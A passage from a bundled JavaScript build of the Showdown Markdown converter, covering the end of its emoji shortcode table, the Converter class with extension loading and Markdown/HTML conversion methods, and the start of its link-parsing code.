2360 "racing_car": "\u{1F3CE}",
2361 "radio": "\u{1F4FB}",
2362 "radio_button": "\u{1F518}",
2363 "radioactive": "\u2622\uFE0F",
2364 "railway_car": "\u{1F683}",
2365 "railway_track": "\u{1F6E4}",
2366 "rainbow": "\u{1F308}",
2367 "rainbow_flag": "\u{1F3F3}\uFE0F&zwj;\u{1F308}",
2368 "raised_back_of_hand": "\u{1F91A}",
2369 "raised_hand_with_fingers_splayed": "\u{1F590}",
2370 "raised_hands": "\u{1F64C}",
2371 "raising_hand_woman": "\u{1F64B}",
2372 "raising_hand_man": "\u{1F64B}&zwj;\u2642\uFE0F",
2373 "ram": "\u{1F40F}",
2374 "ramen": "\u{1F35C}",
2375 "rat": "\u{1F400}",
2376 "record_button": "\u23FA",
2377 "recycle": "\u267B\uFE0F",
2378 "red_circle": "\u{1F534}",
2379 "registered": "\xAE\uFE0F",
2380 "relaxed": "\u263A\uFE0F",
2381 "relieved": "\u{1F60C}",
2382 "reminder_ribbon": "\u{1F397}",
2383 "repeat": "\u{1F501}",
2384 "repeat_one": "\u{1F502}",
2385 "rescue_worker_helmet": "\u26D1",
2386 "restroom": "\u{1F6BB}",
2387 "revolving_hearts": "\u{1F49E}",
2388 "rewind": "\u23EA",
2389 "rhinoceros": "\u{1F98F}",
2390 "ribbon": "\u{1F380}",
2391 "rice": "\u{1F35A}",
2392 "rice_ball": "\u{1F359}",
2393 "rice_cracker": "\u{1F358}",
2394 "rice_scene": "\u{1F391}",
2395 "right_anger_bubble": "\u{1F5EF}",
2396 "ring": "\u{1F48D}",
2397 "robot": "\u{1F916}",
2398 "rocket": "\u{1F680}",
2399 "rofl": "\u{1F923}",
2400 "roll_eyes": "\u{1F644}",
2401 "roller_coaster": "\u{1F3A2}",
2402 "rooster": "\u{1F413}",
2403 "rose": "\u{1F339}",
2404 "rosette": "\u{1F3F5}",
2405 "rotating_light": "\u{1F6A8}",
2406 "round_pushpin": "\u{1F4CD}",
2407 "rowing_man": "\u{1F6A3}",
2408 "rowing_woman": "\u{1F6A3}&zwj;\u2640\uFE0F",
2409 "rugby_football": "\u{1F3C9}",
2410 "running_man": "\u{1F3C3}",
2411 "running_shirt_with_sash": "\u{1F3BD}",
2412 "running_woman": "\u{1F3C3}&zwj;\u2640\uFE0F",
2413 "sa": "\u{1F202}\uFE0F",
2414 "sagittarius": "\u2650\uFE0F",
2415 "sake": "\u{1F376}",
2416 "sandal": "\u{1F461}",
2417 "santa": "\u{1F385}",
2418 "satellite": "\u{1F4E1}",
2419 "saxophone": "\u{1F3B7}",
2420 "school": "\u{1F3EB}",
2421 "school_satchel": "\u{1F392}",
2422 "scissors": "\u2702\uFE0F",
2423 "scorpion": "\u{1F982}",
2424 "scorpius": "\u264F\uFE0F",
2425 "scream": "\u{1F631}",
2426 "scream_cat": "\u{1F640}",
2427 "scroll": "\u{1F4DC}",
2428 "seat": "\u{1F4BA}",
2429 "secret": "\u3299\uFE0F",
2430 "see_no_evil": "\u{1F648}",
2431 "seedling": "\u{1F331}",
2432 "selfie": "\u{1F933}",
2433 "shallow_pan_of_food": "\u{1F958}",
2434 "shamrock": "\u2618\uFE0F",
2435 "shark": "\u{1F988}",
2436 "shaved_ice": "\u{1F367}",
2437 "sheep": "\u{1F411}",
2438 "shell": "\u{1F41A}",
2439 "shield": "\u{1F6E1}",
2440 "shinto_shrine": "\u26E9",
2441 "ship": "\u{1F6A2}",
2442 "shirt": "\u{1F455}",
2443 "shopping": "\u{1F6CD}",
2444 "shopping_cart": "\u{1F6D2}",
2445 "shower": "\u{1F6BF}",
2446 "shrimp": "\u{1F990}",
2447 "signal_strength": "\u{1F4F6}",
2448 "six_pointed_star": "\u{1F52F}",
2449 "ski": "\u{1F3BF}",
2450 "skier": "\u26F7",
2451 "skull": "\u{1F480}",
2452 "skull_and_crossbones": "\u2620\uFE0F",
2453 "sleeping": "\u{1F634}",
2454 "sleeping_bed": "\u{1F6CC}",
2455 "sleepy": "\u{1F62A}",
2456 "slightly_frowning_face": "\u{1F641}",
2457 "slightly_smiling_face": "\u{1F642}",
2458 "slot_machine": "\u{1F3B0}",
2459 "small_airplane": "\u{1F6E9}",
2460 "small_blue_diamond": "\u{1F539}",
2461 "small_orange_diamond": "\u{1F538}",
2462 "small_red_triangle": "\u{1F53A}",
2463 "small_red_triangle_down": "\u{1F53B}",
2464 "smile": "\u{1F604}",
2465 "smile_cat": "\u{1F638}",
2466 "smiley": "\u{1F603}",
2467 "smiley_cat": "\u{1F63A}",
2468 "smiling_imp": "\u{1F608}",
2469 "smirk": "\u{1F60F}",
2470 "smirk_cat": "\u{1F63C}",
2471 "smoking": "\u{1F6AC}",
2472 "snail": "\u{1F40C}",
2473 "snake": "\u{1F40D}",
2474 "sneezing_face": "\u{1F927}",
2475 "snowboarder": "\u{1F3C2}",
2476 "snowflake": "\u2744\uFE0F",
2477 "snowman": "\u26C4\uFE0F",
2478 "snowman_with_snow": "\u2603\uFE0F",
2479 "sob": "\u{1F62D}",
2480 "soccer": "\u26BD\uFE0F",
2481 "soon": "\u{1F51C}",
2482 "sos": "\u{1F198}",
2483 "sound": "\u{1F509}",
2484 "space_invader": "\u{1F47E}",
2485 "spades": "\u2660\uFE0F",
2486 "spaghetti": "\u{1F35D}",
2487 "sparkle": "\u2747\uFE0F",
2488 "sparkler": "\u{1F387}",
2489 "sparkles": "\u2728",
2490 "sparkling_heart": "\u{1F496}",
2491 "speak_no_evil": "\u{1F64A}",
2492 "speaker": "\u{1F508}",
2493 "speaking_head": "\u{1F5E3}",
2494 "speech_balloon": "\u{1F4AC}",
2495 "speedboat": "\u{1F6A4}",
2496 "spider": "\u{1F577}",
2497 "spider_web": "\u{1F578}",
2498 "spiral_calendar": "\u{1F5D3}",
2499 "spiral_notepad": "\u{1F5D2}",
2500 "spoon": "\u{1F944}",
2501 "squid": "\u{1F991}",
2502 "stadium": "\u{1F3DF}",
2503 "star": "\u2B50\uFE0F",
2504 "star2": "\u{1F31F}",
2505 "star_and_crescent": "\u262A\uFE0F",
2506 "star_of_david": "\u2721\uFE0F",
2507 "stars": "\u{1F320}",
2508 "station": "\u{1F689}",
2509 "statue_of_liberty": "\u{1F5FD}",
2510 "steam_locomotive": "\u{1F682}",
2511 "stew": "\u{1F372}",
2512 "stop_button": "\u23F9",
2513 "stop_sign": "\u{1F6D1}",
2514 "stopwatch": "\u23F1",
2515 "straight_ruler": "\u{1F4CF}",
2516 "strawberry": "\u{1F353}",
2517 "stuck_out_tongue": "\u{1F61B}",
2518 "stuck_out_tongue_closed_eyes": "\u{1F61D}",
2519 "stuck_out_tongue_winking_eye": "\u{1F61C}",
2520 "studio_microphone": "\u{1F399}",
2521 "stuffed_flatbread": "\u{1F959}",
2522 "sun_behind_large_cloud": "\u{1F325}",
2523 "sun_behind_rain_cloud": "\u{1F326}",
2524 "sun_behind_small_cloud": "\u{1F324}",
2525 "sun_with_face": "\u{1F31E}",
2526 "sunflower": "\u{1F33B}",
2527 "sunglasses": "\u{1F60E}",
2528 "sunny": "\u2600\uFE0F",
2529 "sunrise": "\u{1F305}",
2530 "sunrise_over_mountains": "\u{1F304}",
2531 "surfing_man": "\u{1F3C4}",
2532 "surfing_woman": "\u{1F3C4}&zwj;\u2640\uFE0F",
2533 "sushi": "\u{1F363}",
2534 "suspension_railway": "\u{1F69F}",
2535 "sweat": "\u{1F613}",
2536 "sweat_drops": "\u{1F4A6}",
2537 "sweat_smile": "\u{1F605}",
2538 "sweet_potato": "\u{1F360}",
2539 "swimming_man": "\u{1F3CA}",
2540 "swimming_woman": "\u{1F3CA}&zwj;\u2640\uFE0F",
2541 "symbols": "\u{1F523}",
2542 "synagogue": "\u{1F54D}",
2543 "syringe": "\u{1F489}",
2544 "taco": "\u{1F32E}",
2545 "tada": "\u{1F389}",
2546 "tanabata_tree": "\u{1F38B}",
2547 "taurus": "\u2649\uFE0F",
2548 "taxi": "\u{1F695}",
2549 "tea": "\u{1F375}",
2550 "telephone_receiver": "\u{1F4DE}",
2551 "telescope": "\u{1F52D}",
2552 "tennis": "\u{1F3BE}",
2553 "tent": "\u26FA\uFE0F",
2554 "thermometer": "\u{1F321}",
2555 "thinking": "\u{1F914}",
2556 "thought_balloon": "\u{1F4AD}",
2557 "ticket": "\u{1F3AB}",
2558 "tickets": "\u{1F39F}",
2559 "tiger": "\u{1F42F}",
2560 "tiger2": "\u{1F405}",
2561 "timer_clock": "\u23F2",
2562 "tipping_hand_man": "\u{1F481}&zwj;\u2642\uFE0F",
2563 "tired_face": "\u{1F62B}",
2564 "tm": "\u2122\uFE0F",
2565 "toilet": "\u{1F6BD}",
2566 "tokyo_tower": "\u{1F5FC}",
2567 "tomato": "\u{1F345}",
2568 "tongue": "\u{1F445}",
2569 "top": "\u{1F51D}",
2570 "tophat": "\u{1F3A9}",
2571 "tornado": "\u{1F32A}",
2572 "trackball": "\u{1F5B2}",
2573 "tractor": "\u{1F69C}",
2574 "traffic_light": "\u{1F6A5}",
2575 "train": "\u{1F68B}",
2576 "train2": "\u{1F686}",
2577 "tram": "\u{1F68A}",
2578 "triangular_flag_on_post": "\u{1F6A9}",
2579 "triangular_ruler": "\u{1F4D0}",
2580 "trident": "\u{1F531}",
2581 "triumph": "\u{1F624}",
2582 "trolleybus": "\u{1F68E}",
2583 "trophy": "\u{1F3C6}",
2584 "tropical_drink": "\u{1F379}",
2585 "tropical_fish": "\u{1F420}",
2586 "truck": "\u{1F69A}",
2587 "trumpet": "\u{1F3BA}",
2588 "tulip": "\u{1F337}",
2589 "tumbler_glass": "\u{1F943}",
2590 "turkey": "\u{1F983}",
2591 "turtle": "\u{1F422}",
2592 "tv": "\u{1F4FA}",
2593 "twisted_rightwards_arrows": "\u{1F500}",
2594 "two_hearts": "\u{1F495}",
2595 "two_men_holding_hands": "\u{1F46C}",
2596 "two_women_holding_hands": "\u{1F46D}",
2597 "u5272": "\u{1F239}",
2598 "u5408": "\u{1F234}",
2599 "u55b6": "\u{1F23A}",
2600 "u6307": "\u{1F22F}\uFE0F",
2601 "u6708": "\u{1F237}\uFE0F",
2602 "u6709": "\u{1F236}",
2603 "u6e80": "\u{1F235}",
2604 "u7121": "\u{1F21A}\uFE0F",
2605 "u7533": "\u{1F238}",
2606 "u7981": "\u{1F232}",
2607 "u7a7a": "\u{1F233}",
2608 "umbrella": "\u2614\uFE0F",
2609 "unamused": "\u{1F612}",
2610 "underage": "\u{1F51E}",
2611 "unicorn": "\u{1F984}",
2612 "unlock": "\u{1F513}",
2613 "up": "\u{1F199}",
2614 "upside_down_face": "\u{1F643}",
2615 "v": "\u270C\uFE0F",
2616 "vertical_traffic_light": "\u{1F6A6}",
2617 "vhs": "\u{1F4FC}",
2618 "vibration_mode": "\u{1F4F3}",
2619 "video_camera": "\u{1F4F9}",
2620 "video_game": "\u{1F3AE}",
2621 "violin": "\u{1F3BB}",
2622 "virgo": "\u264D\uFE0F",
2623 "volcano": "\u{1F30B}",
2624 "volleyball": "\u{1F3D0}",
2625 "vs": "\u{1F19A}",
2626 "vulcan_salute": "\u{1F596}",
2627 "walking_man": "\u{1F6B6}",
2628 "walking_woman": "\u{1F6B6}&zwj;\u2640\uFE0F",
2629 "waning_crescent_moon": "\u{1F318}",
2630 "waning_gibbous_moon": "\u{1F316}",
2631 "warning": "\u26A0\uFE0F",
2632 "wastebasket": "\u{1F5D1}",
2633 "watch": "\u231A\uFE0F",
2634 "water_buffalo": "\u{1F403}",
2635 "watermelon": "\u{1F349}",
2636 "wave": "\u{1F44B}",
2637 "wavy_dash": "\u3030\uFE0F",
2638 "waxing_crescent_moon": "\u{1F312}",
2639 "wc": "\u{1F6BE}",
2640 "weary": "\u{1F629}",
2641 "wedding": "\u{1F492}",
2642 "weight_lifting_man": "\u{1F3CB}\uFE0F",
2643 "weight_lifting_woman": "\u{1F3CB}\uFE0F&zwj;\u2640\uFE0F",
2644 "whale": "\u{1F433}",
2645 "whale2": "\u{1F40B}",
2646 "wheel_of_dharma": "\u2638\uFE0F",
2647 "wheelchair": "\u267F\uFE0F",
2648 "white_check_mark": "\u2705",
2649 "white_circle": "\u26AA\uFE0F",
2650 "white_flag": "\u{1F3F3}\uFE0F",
2651 "white_flower": "\u{1F4AE}",
2652 "white_large_square": "\u2B1C\uFE0F",
2653 "white_medium_small_square": "\u25FD\uFE0F",
2654 "white_medium_square": "\u25FB\uFE0F",
2655 "white_small_square": "\u25AB\uFE0F",
2656 "white_square_button": "\u{1F533}",
2657 "wilted_flower": "\u{1F940}",
2658 "wind_chime": "\u{1F390}",
2659 "wind_face": "\u{1F32C}",
2660 "wine_glass": "\u{1F377}",
2661 "wink": "\u{1F609}",
2662 "wolf": "\u{1F43A}",
2663 "woman": "\u{1F469}",
2664 "woman_artist": "\u{1F469}&zwj;\u{1F3A8}",
2665 "woman_astronaut": "\u{1F469}&zwj;\u{1F680}",
2666 "woman_cartwheeling": "\u{1F938}&zwj;\u2640\uFE0F",
2667 "woman_cook": "\u{1F469}&zwj;\u{1F373}",
2668 "woman_facepalming": "\u{1F926}&zwj;\u2640\uFE0F",
2669 "woman_factory_worker": "\u{1F469}&zwj;\u{1F3ED}",
2670 "woman_farmer": "\u{1F469}&zwj;\u{1F33E}",
2671 "woman_firefighter": "\u{1F469}&zwj;\u{1F692}",
2672 "woman_health_worker": "\u{1F469}&zwj;\u2695\uFE0F",
2673 "woman_judge": "\u{1F469}&zwj;\u2696\uFE0F",
2674 "woman_juggling": "\u{1F939}&zwj;\u2640\uFE0F",
2675 "woman_mechanic": "\u{1F469}&zwj;\u{1F527}",
2676 "woman_office_worker": "\u{1F469}&zwj;\u{1F4BC}",
2677 "woman_pilot": "\u{1F469}&zwj;\u2708\uFE0F",
2678 "woman_playing_handball": "\u{1F93E}&zwj;\u2640\uFE0F",
2679 "woman_playing_water_polo": "\u{1F93D}&zwj;\u2640\uFE0F",
2680 "woman_scientist": "\u{1F469}&zwj;\u{1F52C}",
2681 "woman_shrugging": "\u{1F937}&zwj;\u2640\uFE0F",
2682 "woman_singer": "\u{1F469}&zwj;\u{1F3A4}",
2683 "woman_student": "\u{1F469}&zwj;\u{1F393}",
2684 "woman_teacher": "\u{1F469}&zwj;\u{1F3EB}",
2685 "woman_technologist": "\u{1F469}&zwj;\u{1F4BB}",
2686 "woman_with_turban": "\u{1F473}&zwj;\u2640\uFE0F",
2687 "womans_clothes": "\u{1F45A}",
2688 "womans_hat": "\u{1F452}",
2689 "women_wrestling": "\u{1F93C}&zwj;\u2640\uFE0F",
2690 "womens": "\u{1F6BA}",
2691 "world_map": "\u{1F5FA}",
2692 "worried": "\u{1F61F}",
2693 "wrench": "\u{1F527}",
2694 "writing_hand": "\u270D\uFE0F",
2695 "x": "\u274C",
2696 "yellow_heart": "\u{1F49B}",
2697 "yen": "\u{1F4B4}",
2698 "yin_yang": "\u262F\uFE0F",
2699 "yum": "\u{1F60B}",
2700 "zap": "\u26A1\uFE0F",
2701 "zipper_mouth_face": "\u{1F910}",
2702 "zzz": "\u{1F4A4}",
2703 /* special emojis :P */
2704 "octocat": '<img alt=":octocat:" height="20" width="20" align="absmiddle" src="https://assets-cdn.github.com/images/icons/emoji/octocat.png">',
2705 "showdown": `<span style="font-family: 'Anonymous Pro', monospace; text-decoration: underline; text-decoration-style: dashed; text-decoration-color: #3e8b8a;text-underline-position: under;">S</span>`
2706 };
2707 showdown2.Converter = function(converterOptions) {
2708 "use strict";
2709 var options = {}, langExtensions = [], outputModifiers = [], listeners = {}, setConvFlavor = setFlavor, metadata = {
2710 parsed: {},
2711 raw: "",
2712 format: ""
2713 };
2714 _constructor();
2715 function _constructor() {
2716 converterOptions = converterOptions || {};
2717 for (var gOpt in globalOptions) {
2718 if (globalOptions.hasOwnProperty(gOpt)) {
2719 options[gOpt] = globalOptions[gOpt];
2720 }
2721 }
2722 if (typeof converterOptions === "object") {
2723 for (var opt in converterOptions) {
2724 if (converterOptions.hasOwnProperty(opt)) {
2725 options[opt] = converterOptions[opt];
2726 }
2727 }
2728 } else {
2729 throw Error("Converter expects the passed parameter to be an object, but " + typeof converterOptions + " was passed instead.");
2730 }
2731 if (options.extensions) {
2732 showdown2.helper.forEach(options.extensions, _parseExtension);
2733 }
2734 }
2735 function _parseExtension(ext, name) {
2736 name = name || null;
2737 if (showdown2.helper.isString(ext)) {
2738 ext = showdown2.helper.stdExtName(ext);
2739 name = ext;
2740 if (showdown2.extensions[ext]) {
2741 console.warn("DEPRECATION WARNING: " + ext + " is an old extension that uses a deprecated loading method.Please inform the developer that the extension should be updated!");
2742 legacyExtensionLoading(showdown2.extensions[ext], ext);
2743 return;
2744 } else if (!showdown2.helper.isUndefined(extensions[ext])) {
2745 ext = extensions[ext];
2746 } else {
2747 throw Error('Extension "' + ext + '" could not be loaded. It was either not found or is not a valid extension.');
2748 }
2749 }
2750 if (typeof ext === "function") {
2751 ext = ext();
2752 }
2753 if (!showdown2.helper.isArray(ext)) {
2754 ext = [ext];
2755 }
2756 var validExt = validate(ext, name);
2757 if (!validExt.valid) {
2758 throw Error(validExt.error);
2759 }
2760 for (var i2 = 0; i2 < ext.length; ++i2) {
2761 switch (ext[i2].type) {
2762 case "lang":
2763 langExtensions.push(ext[i2]);
2764 break;
2765 case "output":
2766 outputModifiers.push(ext[i2]);
2767 break;
2768 }
2769 if (ext[i2].hasOwnProperty("listeners")) {
2770 for (var ln in ext[i2].listeners) {
2771 if (ext[i2].listeners.hasOwnProperty(ln)) {
2772 listen(ln, ext[i2].listeners[ln]);
2773 }
2774 }
2775 }
2776 }
2777 }
2778 function legacyExtensionLoading(ext, name) {
2779 if (typeof ext === "function") {
2780 ext = ext(new showdown2.Converter());
2781 }
2782 if (!showdown2.helper.isArray(ext)) {
2783 ext = [ext];
2784 }
2785 var valid = validate(ext, name);
2786 if (!valid.valid) {
2787 throw Error(valid.error);
2788 }
2789 for (var i2 = 0; i2 < ext.length; ++i2) {
2790 switch (ext[i2].type) {
2791 case "lang":
2792 langExtensions.push(ext[i2]);
2793 break;
2794 case "output":
2795 outputModifiers.push(ext[i2]);
2796 break;
2797 default:
2798 throw Error("Extension loader error: Type unrecognized!!!");
2799 }
2800 }
2801 }
2802 function listen(name, callback) {
2803 if (!showdown2.helper.isString(name)) {
2804 throw Error("Invalid argument in converter.listen() method: name must be a string, but " + typeof name + " given");
2805 }
2806 if (typeof callback !== "function") {
2807 throw Error("Invalid argument in converter.listen() method: callback must be a function, but " + typeof callback + " given");
2808 }
2809 if (!listeners.hasOwnProperty(name)) {
2810 listeners[name] = [];
2811 }
2812 listeners[name].push(callback);
2813 }
2814 function rTrimInputText(text2) {
2815 var rsp = text2.match(/^\s*/)[0].length, rgx = new RegExp("^\\s{0," + rsp + "}", "gm");
2816 return text2.replace(rgx, "");
2817 }
2818 this._dispatch = function dispatch3(evtName, text2, options2, globals) {
2819 if (listeners.hasOwnProperty(evtName)) {
2820 for (var ei = 0; ei < listeners[evtName].length; ++ei) {
2821 var nText = listeners[evtName][ei](evtName, text2, this, options2, globals);
2822 if (nText && typeof nText !== "undefined") {
2823 text2 = nText;
2824 }
2825 }
2826 }
2827 return text2;
2828 };
2829 this.listen = function(name, callback) {
2830 listen(name, callback);
2831 return this;
2832 };
2833 this.makeHtml = function(text2) {
2834 if (!text2) {
2835 return text2;
2836 }
2837 var globals = {
2838 gHtmlBlocks: [],
2839 gHtmlMdBlocks: [],
2840 gHtmlSpans: [],
2841 gUrls: {},
2842 gTitles: {},
2843 gDimensions: {},
2844 gListLevel: 0,
2845 hashLinkCounts: {},
2846 langExtensions,
2847 outputModifiers,
2848 converter: this,
2849 ghCodeBlocks: [],
2850 metadata: {
2851 parsed: {},
2852 raw: "",
2853 format: ""
2854 }
2855 };
2856 text2 = text2.replace(/¨/g, "\xA8T");
2857 text2 = text2.replace(/\$/g, "\xA8D");
2858 text2 = text2.replace(/\r\n/g, "\n");
2859 text2 = text2.replace(/\r/g, "\n");
2860 text2 = text2.replace(/\u00A0/g, "&nbsp;");
2861 if (options.smartIndentationFix) {
2862 text2 = rTrimInputText(text2);
2863 }
2864 text2 = "\n\n" + text2 + "\n\n";
2865 text2 = showdown2.subParser("detab")(text2, options, globals);
2866 text2 = text2.replace(/^[ \t]+$/mg, "");
2867 showdown2.helper.forEach(langExtensions, function(ext) {
2868 text2 = showdown2.subParser("runExtension")(ext, text2, options, globals);
2869 });
2870 text2 = showdown2.subParser("metadata")(text2, options, globals);
2871 text2 = showdown2.subParser("hashPreCodeTags")(text2, options, globals);
2872 text2 = showdown2.subParser("githubCodeBlocks")(text2, options, globals);
2873 text2 = showdown2.subParser("hashHTMLBlocks")(text2, options, globals);
2874 text2 = showdown2.subParser("hashCodeTags")(text2, options, globals);
2875 text2 = showdown2.subParser("stripLinkDefinitions")(text2, options, globals);
2876 text2 = showdown2.subParser("blockGamut")(text2, options, globals);
2877 text2 = showdown2.subParser("unhashHTMLSpans")(text2, options, globals);
2878 text2 = showdown2.subParser("unescapeSpecialChars")(text2, options, globals);
2879 text2 = text2.replace(/¨D/g, "$$");
2880 text2 = text2.replace(/¨T/g, "\xA8");
2881 text2 = showdown2.subParser("completeHTMLDocument")(text2, options, globals);
2882 showdown2.helper.forEach(outputModifiers, function(ext) {
2883 text2 = showdown2.subParser("runExtension")(ext, text2, options, globals);
2884 });
2885 metadata = globals.metadata;
2886 return text2;
2887 };
2888 this.makeMarkdown = this.makeMd = function(src, HTMLParser) {
2889 src = src.replace(/\r\n/g, "\n");
2890 src = src.replace(/\r/g, "\n");
2891 src = src.replace(/>[ \t]+</, ">\xA8NBSP;<");
2892 if (!HTMLParser) {
2893 if (window && window.document) {
2894 HTMLParser = window.document;
2895 } else {
2896 throw new Error("HTMLParser is undefined. If in a webworker or nodejs environment, you need to provide a WHATWG DOM and HTML such as JSDOM");
2897 }
2898 }
2899 var doc = HTMLParser.createElement("div");
2900 doc.innerHTML = src;
2901 var globals = {
2902 preList: substitutePreCodeTags(doc)
2903 };
2904 clean(doc);
2905 var nodes = doc.childNodes, mdDoc = "";
2906 for (var i2 = 0; i2 < nodes.length; i2++) {
2907 mdDoc += showdown2.subParser("makeMarkdown.node")(nodes[i2], globals);
2908 }
2909 function clean(node) {
2910 for (var n2 = 0; n2 < node.childNodes.length; ++n2) {
2911 var child = node.childNodes[n2];
2912 if (child.nodeType === 3) {
2913 if (!/\S/.test(child.nodeValue)) {
2914 node.removeChild(child);
2915 --n2;
2916 } else {
2917 child.nodeValue = child.nodeValue.split("\n").join(" ");
2918 child.nodeValue = child.nodeValue.replace(/(\s)+/g, "$1");
2919 }
2920 } else if (child.nodeType === 1) {
2921 clean(child);
2922 }
2923 }
2924 }
2925 function substitutePreCodeTags(doc2) {
2926 var pres = doc2.querySelectorAll("pre"), presPH = [];
2927 for (var i3 = 0; i3 < pres.length; ++i3) {
2928 if (pres[i3].childElementCount === 1 && pres[i3].firstChild.tagName.toLowerCase() === "code") {
2929 var content = pres[i3].firstChild.innerHTML.trim(), language = pres[i3].firstChild.getAttribute("data-language") || "";
2930 if (language === "") {
2931 var classes = pres[i3].firstChild.className.split(" ");
2932 for (var c2 = 0; c2 < classes.length; ++c2) {
2933 var matches = classes[c2].match(/^language-(.+)$/);
2934 if (matches !== null) {
2935 language = matches[1];
2936 break;
2937 }
2938 }
2939 }
2940 content = showdown2.helper.unescapeHTMLEntities(content);
2941 presPH.push(content);
2942 pres[i3].outerHTML = '<precode language="' + language + '" precodenum="' + i3.toString() + '"></precode>';
2943 } else {
2944 presPH.push(pres[i3].innerHTML);
2945 pres[i3].innerHTML = "";
2946 pres[i3].setAttribute("prenum", i3.toString());
2947 }
2948 }
2949 return presPH;
2950 }
2951 return mdDoc;
2952 };
2953 this.setOption = function(key, value) {
2954 options[key] = value;
2955 };
2956 this.getOption = function(key) {
2957 return options[key];
2958 };
2959 this.getOptions = function() {
2960 return options;
2961 };
2962 this.addExtension = function(extension, name) {
2963 name = name || null;
2964 _parseExtension(extension, name);
2965 };
2966 this.useExtension = function(extensionName) {
2967 _parseExtension(extensionName);
2968 };
2969 this.setFlavor = function(name) {
2970 if (!flavor.hasOwnProperty(name)) {
2971 throw Error(name + " flavor was not found");
2972 }
2973 var preset = flavor[name];
2974 setConvFlavor = name;
2975 for (var option in preset) {
2976 if (preset.hasOwnProperty(option)) {
2977 options[option] = preset[option];
2978 }
2979 }
2980 };
2981 this.getFlavor = function() {
2982 return setConvFlavor;
2983 };
2984 this.removeExtension = function(extension) {
2985 if (!showdown2.helper.isArray(extension)) {
2986 extension = [extension];
2987 }
2988 for (var a2 = 0; a2 < extension.length; ++a2) {
2989 var ext = extension[a2];
2990 for (var i2 = 0; i2 < langExtensions.length; ++i2) {
2991 if (langExtensions[i2] === ext) {
2992 langExtensions[i2].splice(i2, 1);
2993 }
2994 }
2995 for (var ii = 0; ii < outputModifiers.length; ++i2) {
2996 if (outputModifiers[ii] === ext) {
2997 outputModifiers[ii].splice(i2, 1);
2998 }
2999 }
3000 }
3001 };
3002 this.getAllExtensions = function() {
3003 return {
3004 language: langExtensions,
3005 output: outputModifiers
3006 };
3007 };
3008 this.getMetadata = function(raw) {
3009 if (raw) {
3010 return metadata.raw;
3011 } else {
3012 return metadata.parsed;
3013 }
3014 };
3015 this.getMetadataFormat = function() {
3016 return metadata.format;
3017 };
3018 this._setMetadataPair = function(key, value) {
3019 metadata.parsed[key] = value;
3020 };
3021 this._setMetadataFormat = function(format) {
3022 metadata.format = format;
3023 };
3024 this._setMetadataRaw = function(raw) {
3025 metadata.raw = raw;
3026 };
3027 };
3028 showdown2.subParser("anchors", function(text2, options, globals) {
3029 "use strict";
3030 text2 = globals.converter._dispatch("anchors.before", text2, options, globals);
3031 var writeAnchorTag = function(wholeMatch, linkText, linkId, url, m5, m6, title) {
3032 if (showdown2.helper.isUndefined(title)) {
3033 title = "";
3034 }
3035 linkId = linkId.toLowerCase();
3036 if (wholeMatch.search(/\(<?\s*>? ?(['"].*['"])?\)$/m) > -1) {
3037 url = "";
3038 } else if (!url) {
3039 if (!linkId) {
3040 linkId = linkText.toLowerCase().replace(/ ?\n/g, " ");
3041 }
3042 url = "#" + linkId;
3043 if (!showdown2.helper.isUndefined(globals.gUrls[linkId])) {
3044 url = globals.gUrls[linkId];
3045 if (!showdown2.helper.isUndefined(globals.gTitles[linkId])) {
3046 title = globals.gTitles[linkId];
3047 }
3048 } else {
3049 return wholeMatch;
3050 }
3051 }
3052 url = url.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
3053 var result = '<a href="' + url + '"';
3054 if (title !== "" && title !== null) {
3055 title = title.replace(/"/g, "&quot;");
3056 title = title.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
3057 result += ' title="' + title + '"';
3058 }
3059 if (options.openLinksInNewWindow && !/^#/.test(url)) {
3060 result += ' rel="noopener noreferrer" target="\xA8E95Eblank"';
3061 }
3062 result += ">" + linkText + "</a>";
3063 return result;
3064 };
3065 text2 = text2.replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g, writeAnchorTag);
3066 text2 = text2.replace(
3067 /\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<([^>]*)>(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,
3068 writeAnchorTag
3069 );
3070 text2 = text2.replace(
3071 /\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,
3072 writeAnchorTag
3073 );
3074 text2 = text2.replace(/\[([^\[\]]+)]()()()()()/g, writeAnchorTag);
3075 if (options.ghMentions) {
3076 text2 = text2.replace(/(^|\s)(\\)?(@([a-z\d]+(?:[a-z\d.-]+?[a-z\d]+)*))/gmi, function(wm, st, escape, mentions, username) {
3077 if (escape === "\\") {
3078 return st + mentions;
3079 }
3080 if (!showdown2.helper.isString(options.ghMentionsLink)) {
3081 throw new Error("ghMentionsLink option must be a string");
3082 }
3083 var lnk = options.ghMentionsLink.replace(/\{u}/g, username), target = "";
3084 if (options.openLinksInNewWindow) {
3085 target = ' rel="noopener noreferrer" target="\xA8E95Eblank"';
3086 }
3087 return st + '<a href="' + lnk + '"' + target + ">" + mentions + "</a>";
3088 });
3089 }
3090 text2 = globals.converter._dispatch("anchors.after", text2, options, globals);
3091 return text2;
3092 });
3093 var simpleURLRegex = /([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+?\.[^'">\s]+?)()(\1)?(?=\s|$)(?!["<>])/gi, simpleURLRegex2 = /([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+\.[^'">\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?!["<>])/gi, delimUrlRegex = /()<(((https?|ftp|dict):\/\/|www\.)[^'">\s]+)()>()/gi, simpleMailRegex = /(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gmi, delimMailRegex = /<()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi, replaceLink = function(options) {
3094 "use strict";
3095 return function(wm, leadingMagicChars, link, m2, m3, trailingPunctuation, trailingMagicChars) {
3096 link = link.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
3097 var lnkTxt = link, append = "", target = "", lmc = leadingMagicChars || "", tmc = trailingMagicChars || "";
3098 if (/^www\./i.test(link)) {
